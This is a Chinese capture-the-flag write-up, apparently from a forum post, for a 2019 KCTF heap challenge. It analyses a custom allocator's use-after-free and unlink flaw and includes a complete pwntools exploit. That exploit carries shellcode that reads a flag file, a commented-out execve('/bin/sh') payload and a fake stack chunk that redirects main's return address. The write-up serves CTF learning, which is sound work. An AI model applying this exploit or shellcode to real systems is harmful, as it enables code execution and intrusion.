题目分析
保护情况

作者自己实现了堆分配函数malloc() free()
分配出的内存具有可执行属性,因此虽然开了NX
数据执行保护,但是堆上面的数据属性是可执行的

具有分配、释放、写以及打印一个栈地址的操作,而写的时候又输出了堆地址,泄露了栈地址和堆地址可以认为作者在暗示这是一个修改返回地址到堆上的操作,后面围绕着这个目标进行

释放后没有将指针置零,属于UAF
漏洞

堆结构
分析堆结构需要结合分配与释放函数来分析
分配
_QWORD *__fastcall f_malloc_400CF7(unsigned int a1)
{
unsigned int size; // [rsp+Ch] [rbp-54h]
unsigned int idle_mem_size; // [rsp+3Ch] [rbp-24h]
_QWORD *p_idle_mem; // [rsp+40h] [rbp-20h]
signed __int64 data_addr; // [rsp+48h] [rbp-18h]
unsigned __int64 bk; // [rsp+50h] [rbp-10h]
_QWORD *addr; // [rsp+58h] [rbp-8h]
//
size = a1;
if ( a1 <= 15 )
size = 16; // 最低分配16字节
if ( size & 7 )
size = 8 * ((size >> 3) + 1); // 8字节对齐
for ( addr = (_QWORD *)g_first_idle_heap_602558; ; addr = *(_QWORD **)bk )
{
if ( !addr )
addr = f_init_mmap_400C2D(size);
bk = (unsigned __int64)addr + (*addr & 0xFFFFFFFFFFFFFFFCLL) - 8;
if ( (*addr & 0xFFFFFFFFFFFFFFFCLL) >= size )// 如果堆大小大于等于 size 符合条件
break;
}
data_addr = (signed __int64)(addr + 1);
idle_mem_size = (*addr & 0xFFFFFFFC) - size; // 分配给用户后的剩余空间
*addr |= 1uLL; // 标记当前堆是使用状态
if ( idle_mem_size <= 0x18 ) // 闲置空间太小
{
if ( (_QWORD *)g_first_idle_heap_602558 == addr )
{
g_first_idle_heap_602558 = *(_QWORD *)bk;
if ( g_first_idle_heap_602558 )
*(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// fd = 0
}
else
{
if ( *(_QWORD *)(bk + 8) ) // fd
*(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = *(_QWORD *)bk;// fd->bk = bk
if ( *(_QWORD *)bk )
*(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = *(_QWORD *)(bk + 8);// bk->fd = fd
}
}
else // 闲置空间至少还能再分配一次内存,分割出用户内存,与闲置内存
{
*addr = size;
*addr |= 1uLL; // 标记当前堆是使用状态
*addr |= 2uLL; // 标记相邻的下一个堆是未使用状态 True 代表未使用
p_idle_mem = (_QWORD *)(size + data_addr);
*p_idle_mem = idle_mem_size - 8LL; // 设置闲置内存大小
if ( (_QWORD *)g_first_idle_heap_602558 == addr )
{
g_first_idle_heap_602558 = size + data_addr;// 将全局变量保存的堆地址指向闲置内存地址
if ( *(_QWORD *)bk )
*(_QWORD *)(*(_QWORD *)bk + (**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL)) = p_idle_mem;// bk->fd = p_idle_mem
}
else
{
if ( *(_QWORD *)(bk + 8) )
*(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = p_idle_mem;// fd->bk = p_idle_mem
if ( *(_QWORD *)bk )
*(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = p_idle_mem;// bk->fd = p_idle_mem
}
}
return addr + 1;
}
释放
__int64 *__fastcall f_free_40101A(__int64 *addr)
{
__int64 *flag; // rax
_OWORD *bk; // ST18_8
_QWORD *next_bk; // [rsp+18h] [rbp-20h]
__int64 *next_heap; // [rsp+20h] [rbp-18h]
__int64 *heap_addr; // [rsp+28h] [rbp-10h]
if ( addr )
{
heap_addr = addr - 1;
flag = (__int64 *)(*(addr - 1) & 1);
if ( flag )
{
if ( !(*heap_addr & 2) || (next_heap = &addr[(unsigned __int64)*heap_addr >> 3], *next_heap & 1) )// 相邻的下一个堆是使用状态
{
bk = (_OWORD *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);// BK
*heap_addr ^= 1uLL; // 使用标志清零
*bk = (unsigned __int64)g_first_idle_heap_602558;
if ( g_first_idle_heap_602558 )
*(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// bk->fd = heap_addr
flag = addr - 1;
g_first_idle_heap_602558 = (__int64)(addr - 1);
}
else // 相邻的下一个堆未使用,合并
{
*heap_addr += (*next_heap & 0xFFFFFFFFFFFFFFFCLL) + 8;// 合并大小
if ( !(*next_heap & 2) )
*heap_addr ^= 2uLL; // 继承相邻的下个堆的使用状态
if ( (__int64 *)g_first_idle_heap_602558 == next_heap )
g_first_idle_heap_602558 = (__int64)(addr - 1);
next_bk = (__int64 *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);
if ( *next_bk )
*(_QWORD *)(*next_bk + (*(_QWORD *)*next_bk & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// next_bk->fd = heap_addr
flag = (__int64 *)next_bk[1]; // flag = next_fd
if ( flag )
{
flag = (__int64 *)(next_bk[1] + (*(_QWORD *)next_bk[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// next_fd->bk = heap_addr
*flag = (__int64)heap_addr;
}
}
}
}
return flag;
}
结构示意图

根据上图结合代码可发现,作者实现的堆是通过当前堆大小来定位相邻的下一个堆的,空闲堆的尾部保存了BK
和FD
指针
利用方法
堆利用
通常利用堆实现任意地址写,都是通过控制堆的BK
、FK
指针,利用堆块在从链表中卸下时的Unlink
操作来实现的,也就是BK->FD = FD; FD->BK = BK
作者实现的这个堆也有Unlink
操作,在malloc
分配内存时

根据上面的代码可以看出,想要进行Unlink
操作,需要满足以下几个条件:
- 分配给用户后剩余的空间小于
0x18
- 当前堆块不能在空闲堆链表第一个
要满足以上需要这样操作,申请4个堆(1-4号大小分别为:32 32 24 xx
),依次释放1号和3号堆,此时3号堆在链表头,再次申请32
字节大小的堆时就只能找到链表中被释放的1号堆,然后从链表卸下,就触发了Unlink
操作
而因为释放后没有将保存堆地址的指针清零,所以就可以修改已释放的3号堆的BK
与FD
,使其在重新分配时可以被我们控制来做任意地址写的操作
修改返回地址
控制了BK
与FD
,需要将其指向一个符合堆结构的内存,即该内存前8字节为大小,加上大小到达FD
或BK
指定的位置,再修改
这就意味着必须要再栈中构造一个假的堆才能达到改写返回地址的作用
此时来看分配前的操作

用了一个足够大的buf
来接收用户输入,用完后也没有清空,而atoi()
函数只解析字符串前面可识别的数字部分,也不对对后面非数字字符的数据产生影响或修改
所以现在可被控制的栈空间也有了,剩下的就是计算地址,构造假对进行修改了,详见exp
,需要注意的时第四个堆的大小(哈哈,调一下就知道他是什么作用了)
exp
作者的环境屏蔽了system('/bin/sh'),所以就直接找来读文件的ShellCode了
#coding=utf-8
from pwn import *
#
# context.log_level = 'debug'
# p = process('./0xbird1')
p = remote('154.8.174.214', 10000)
#
# execve("/bin/sh") # x86-64
# shellcode = "\x48\x31\xf6\x56\x48\xbf"
# shellcode += "\x2f\x62\x69\x6e\x2f"
# shellcode += "\x2f\x73\x68\x57\x54"
# shellcode += "\x5f\xb0\x3b\x99\x0f\x05"
#
# read file ./flag.txt
shellcode = "\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2e\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00";
#
heap_addr = []
#
def alloc(size):
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("2019KCTF| ")
#
def free(id):
p.sendline('F')
p.recvuntil("Index: ")
p.sendline(str(id))
p.recvuntil("2019KCTF| ")
#
def edit(id, data, count):
p.sendline('W')
for i in range(1, count+1):
p.recvuntil(") 0x")
heap_addr.append(int(p.recvuntil(" "), 16))
p.recvuntil("Write addr: ")
p.sendline(str(id))
p.recvuntil("Write value: ")
p.send(data)
p.recvuntil("2019KCTF| ")
#
def leak():
p.sendline('N')
p.recvuntil("Here you go: 0x")
return int(p.recvuntil("\n"), 16) + 0x14
#
stack = leak() + 8
print('Get Stack addr: %x' % stack)
#
alloc(32)
alloc(32)
alloc(24)
alloc(1768) # 0x06E8 jmp $+8
edit(4, shellcode, 4)
#
print('Heap Addr:')
print(heap_addr)
#
free(1)
free(3)
#
heap01 = 'A'*16 + p64(stack) + p64(heap_addr[3]-8)
# bk = 栈上的假堆, fd = 第4个堆,这个堆里面保存了 shellcode
# 在 alloc 时,bk->fd = shellcode_addr => stack->main_ret = shellcode_addr
edit(1, heap01, 3)
print('Heap Addr:')
print(heap_addr)
#
raw_input("Pause~\n")
#
# 发送大小时,在栈上面布局一个假堆,大小 0x120,fd = main_ret
size_data = '32.' + 'A'*5 + p64(0x120)
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(size_data)
p.recvuntil("2019KCTF| ")
#
# 跳到 shellcode
p.sendline('E')
#
# p.interactive()
p.close()
[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com
最后于 2019-9-21 19:38
被KevinsBobo编辑
,原因: